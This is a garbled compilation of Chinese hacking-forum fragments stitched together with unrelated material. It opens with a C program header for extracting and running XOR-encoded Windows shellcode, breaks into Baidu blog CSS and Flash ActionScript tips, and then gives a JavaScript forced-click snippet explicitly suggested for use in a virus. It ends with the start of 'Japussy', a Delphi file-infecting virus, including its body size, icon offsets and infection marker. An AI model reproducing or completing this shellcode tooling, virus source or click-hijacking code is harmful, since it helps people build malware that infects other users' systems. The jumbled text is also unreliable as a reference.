/*
使用C语言编写提取通用shellcode的程序
出处：internet
修改：Hume/冷雨飘心
测试：Win2K SP4 Local / Win2003 SP0 Local
注释：我非我[F.S.T]
说明：此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode
用vc编译时请使用Release格式并取消优化设置，否则不能正常运行
*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>
#define   DEBUG 1   //定义为调试模式。本地测试用。打印shellcode后立即执行shellcode
//
//函数原型
//
void      DecryptSc();   //shellcode解码函数，使用的是xor法加微调法
void      ShellCodes();   //shellcode的函数，因为使用了动态搜索API地址。所以所有WINNT系统通杀
void      PrintSc(char *lpBuff, int buffsize);   //PrintSc函数用标准c格式打印

在之前贴出的CSS说明中已经说明了#m_blog div.tit是Blog文章标题的代码所以我们只要把添加图片的代码添加在后面的{}中即可。
　　添加代码如下：

　　line-height:多少px; 设置标题的高度，其实这里的设置为图片的高度就可以了

　　text-indent:多少px; 设置标题的文本前面空多少宽度，这里可以填图片的宽度，为了美观起见，可以再多+5、6px，因为图片和标题贴着不好看，这个主要还是看个人感觉和喜好设置了

　　background:url(图片地址) no-repeat; 设置添加的图片地址，no-repeat就是不重复，一定要设置，不然图片就覆盖满整个标题栏了，其实在我的最新评论中，每个留言名字前面有个小爪子，其代码设置方法跟这个也是一样的，只要设置在#m_comment div.item{}下就可以了。

　　如果你喜欢的话，也可以在其他模版中做设置，各模块代码ID请参看百度CSS说明、详解

　　有朋友说看不懂，要我说的更详细点，我觉得我说的满详细了，我把我的相关设置的代码贴出来给大家看看，或许能够让大家看的更明白点

　　#m_blog div.tit{font-size:14px;font-weight:bold;

一些FLASH常用代码，发出来给大家
1、用flash 做那种弹出的小窗口
分两步：
给flash中的按钮加入如下action:
on (release) {
getURL ("javascript:MM_openBrWindow('newweb.htm','','width=600,height=100')");
}
在HTML页面的...之间加入下面的javascript代码.

2、如何使得flash一打开就是全屏？
fscommand("fullscreen",true)
如何不能使用右键?
fscommand ("showmenu", "false");

3、用命令载入一个动画，我需要确定载入动画在画面中的位置，用什么语言来设置？
例如载入名为dd.swf的动画，我要确定这个动画的中心位置在（205，250），该怎么设置？
在要加载动画的那钟加入
loadMovie("dd.swf", "a");
a._x=205;
a._y=250;
你得先做一个空的MC起名叫"a"，导入时,在右下角也起名为a

用到病毒上，估计效果不错……
<script language="JavaScript" type="text/JavaScript">
var autoclick_ok=false;
var cishu = 1
function mClk()
{
if(!autoclick_ok && cishu==1)
{
var source=event.srcElement;source.click();
cishu+=1;
}
}
</script>
<font onmouseover=mClk()>
<a href="http://www.hacker57.cn"
target="_blank"><font color=darkorchid><b>移到这里，就会自动点击!</b></font></a></font>

本代码仅供技术研究使用，请勿用于非法用途！

program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记